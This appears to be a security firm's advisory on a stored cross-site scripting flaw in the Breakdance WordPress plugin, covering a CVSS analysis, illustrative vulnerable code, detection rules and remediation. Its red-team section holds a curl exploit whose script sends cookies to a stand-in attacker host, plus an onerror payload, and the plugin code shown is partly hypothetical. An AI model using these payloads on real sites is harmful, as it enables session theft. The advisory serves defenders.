CVE-2024-5330

Executive Summary

CVE-2024-5330 is a Stored Cross-Site Scripting (XSS) vulnerability in the Breakdance plugin for WordPress, affecting all versions up to and including 1.7.2. The flaw resides in the breakdance_css_file_paths_cache parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential data theft, session hijacking, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0% indicating low exploitation likelihood currently, but the risk remains significant due to the widespread use of WordPress.

WordPress Ecosystem Context

This vulnerability is specific to the Breakdance plugin, a popular drag-and-drop page builder for WordPress. It does not affect Apache, Nginx, or core WordPress files. The attack vector relies on the plugin’s handling of CSS file path caches, which are stored and later rendered without proper escaping.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – requires Contributor-level access.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. While the EPSS score is low, the authenticated nature and WordPress’s popularity make it a viable target for targeted attacks or worm-like propagation within multi-author sites.

Deep Dive & Mechanics

The vulnerability originates from the breakdance_css_file_paths_cache parameter, which is used to store CSS file paths for performance optimization. The plugin fails to sanitize user input before storing it in the cache and does not escape output when rendering the cached data. An attacker with Contributor-level access can inject malicious JavaScript into this parameter via a crafted request. When the cache is later rendered (e.g., in admin panels or frontend pages), the script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker logs in with Contributor privileges.
2. Attacker sends a POST request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php) with the breakdance_css_file_paths_cache parameter containing a payload like <script>alert('XSS')</script>.
3. The plugin stores the payload in the cache (e.g., in the wp_options table).
4. When an administrator or other user visits a page that renders the cache, the script executes.

Root Cause: Lack of input validation and output escaping in the cache handling logic. The plugin likely uses update_option() and get_option() without sanitization or escaping.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.7.2):

// In a function handling cache updates
$cache_value = $_POST['breakdance_css_file_paths_cache'];
update_option('breakdance_css_file_paths_cache', $cache_value);

// In a function rendering the cache
$cache = get_option('breakdance_css_file_paths_cache');
echo $cache; // No escaping

Patched Code (Hypothetical):

// Sanitize input
$cache_value = sanitize_text_field($_POST['breakdance_css_file_paths_cache']);
update_option('breakdance_css_file_paths_cache', $cache_value);

// Escape output
$cache = get_option('breakdance_css_file_paths_cache');
echo esc_html($cache); // Proper escaping

Note: No official patch has been released as of this report. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Breakdance plugin <= 1.7.2.
• Valid user account with Contributor role or higher.

Exploit Steps:

1. Log in to WordPress as a Contributor.
2. Use a tool like Burp Suite or cURL to send a crafted request:

   curl -X POST https://target.com/wp-admin/admin-ajax.php \
     -d "action=breakdance_update_cache&breakdance_css_file_paths_cache=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
   

3. The payload is stored in the cache.
4. When an admin visits a page that renders the cache (e.g., the Breakdance settings page), the script executes, exfiltrating cookies.

Alternative Payload:

<img src=x onerror="alert('XSS')">

Blue Team (Defender)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with the breakdance_css_file_paths_cache parameter containing script tags.
• Check the wp_options table for suspicious values in the breakdance_css_file_paths_cache option.

Mitigation:

• Disable the Breakdance plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in the parameter.
• Restrict Contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=breakdance_update_cache and breakdance_css_file_paths_cache containing <script> or <img onerror> tags.
• File System:
  • Modified wp_options table entry for breakdance_css_file_paths_cache containing JavaScript.
• Logs:
  • WordPress debug logs showing unexpected cache values.
• Behavioral:
  • Unusual outbound connections from the server to external domains (e.g., attacker-controlled servers).

Detection Engineering

YARA Rule

rule CVE_2024_5330_Breakdance_XSS {
    meta:
        description = "Detects stored XSS payload in Breakdance CSS cache"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5330"
    strings:
        $payload1 = /breakdance_css_file_paths_cache.*<script/i
        $payload2 = /breakdance_css_file_paths_cache.*<img.*onerror/i
        $payload3 = /breakdance_css_file_paths_cache.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5330 Breakdance Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-5330 via POST requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=breakdance_update_cache'
        cs-uri-query|contains: 'breakdance_css_file_paths_cache'
        cs-uri-query|re: '(<script|<img.*onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate plugin updates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-5330 Breakdance Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=breakdance_update_cache"; http_client_body;
    content:"breakdance_css_file_paths_cache"; http_client_body;
    pcre:"/(<script|<img.*onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-5330;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Breakdance plugin until a patch is released.
2. Restrict user roles: Remove Contributor-level access from untrusted users.
3. Implement WAF rules: Block requests containing XSS patterns in the breakdance_css_file_paths_cache parameter.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• If patching manually, sanitize input with sanitize_text_field() and escape output with esc_html() in the plugin’s cache handling code.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT – Securing digital ecosystems through proactive threat intelligence.